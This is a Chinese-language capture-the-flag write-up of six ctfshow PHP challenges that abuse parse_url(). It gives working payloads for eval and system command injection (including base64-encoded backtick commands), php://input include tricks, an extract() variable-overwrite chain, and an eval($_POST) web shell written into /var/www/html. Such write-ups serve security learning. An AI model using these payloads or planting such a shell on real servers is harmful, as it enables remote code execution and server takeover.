目录

  1. 1. 前言
  2. 2. parse_url函数
  3. 3. 第一关
  4. 4. 第二关
  5. 5. 第三关
  6. 6. 第四关
  7. 7. 第五关
  8. 8. 第六关

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow周末大挑战parse_url()专场

2023/5/13 CTF线上赛 ctfshow
  |     |   总文章阅读量:

前言

官方wp

大菜鸡师傅诚不欺我,真就每道都只有两行代码(

这次挑战的关键个人觉得在于需要多在本地进行测试以确定payload

parse_url函数

解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分

parse_url(参数1,参数2)
  • 参数1:必填 ,是一个完整的URL,如果不完整,函数会模糊补全。

    参数2:非必填,是一个大写参数变量,直接获取结果集的某一部分。

<?php
$url = "http://username:password@hostname:80/path?arg=value#anchor";
$arr = parse_url($url);
print_r($arr);

    
Array
(
    [scheme] => http
    [host] => hostname
    [port] => 80
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

第一关

字符替换

题目:

<?php
$data = parse_url($_GET['u']);
eval($data['host']);

因为parse_url()函数会把/后面的内容解析进path,所以这里得使用编码绕过,本人payload使用chr()函数进行编码

payload:

?u=https://$a='tac '.chr(47).'flag_is_here.txt';system($a);

第二关

php://input伪协议

题目:

<?php
$data = parse_url($_GET['u']);
include $data['host'].$data['path'];

题目使用include,那么就要想到伪协议,同时发现会拼接host段和path的内容

由于我们不知道flag目录位置与名称,所以考虑使用php://input伪协议写入shell

同时因为host会对冒号进行一次解析,所以需要在host段输入php::

payload:

image-20230517192835357

直接cat /_f1ag_1s_h3re.txt

第三关

php://input伪协议

题目:

<?php
$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];

意外的能拼出来php://input

image-20230517194402921

那就直接拿下了

image-20230517194808622

直接cat /_f1a_g_1s_h3re

第四关

linux下的编码绕过

题目:

<?php
$data = parse_url($_GET['u']);
system($data['host']);

因为查看根目录需要/,但是一旦出现/就会被解析进path,所以这里考虑用编码的方式实现绕过

因为题目已经给出system函数,所以要寻找的是linux下的编码方式,那么很容易想到base64命令

payload读取根目录:

?u=http://`echo 'bHMgLw==' |base64 -d`

(执行命令需要加上反引号)

然后base64编码cat /1_f1ag_1s_h3re获取flag

第五关

变量覆盖

题目:

<?php
extract(parse_url($_GET['u']));
include $$$$$$host;

一道变量覆盖,看看上面全部的解析类型后就知道怎么构造了

因为path/port只能是数字,那么能用的链子就很明显了

链子:

<?php
$url = "user://pass:query@scheme?fragment#php://input";
$arr = parse_url($url);
print_r($arr);

接下来的操作就和上面一样了

第六关

php短标签

题目:

<?php
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);

这次是file_put_contents函数,那么思路应该就是写入一句话木马获取shell

因为path中必定开头带个/,所以这里应该是要把整个文件路径输入进去/var/www/html

而一旦出现?则会被解析成query的内容,所以这里不能用<?php,于是考虑短标签<script language='php'>

payload:

?u=http://<script language='php'>eval($_POST[a]);/var/www/html/1.php

image-20230517235553021

然后经典一句话木马操作获取flag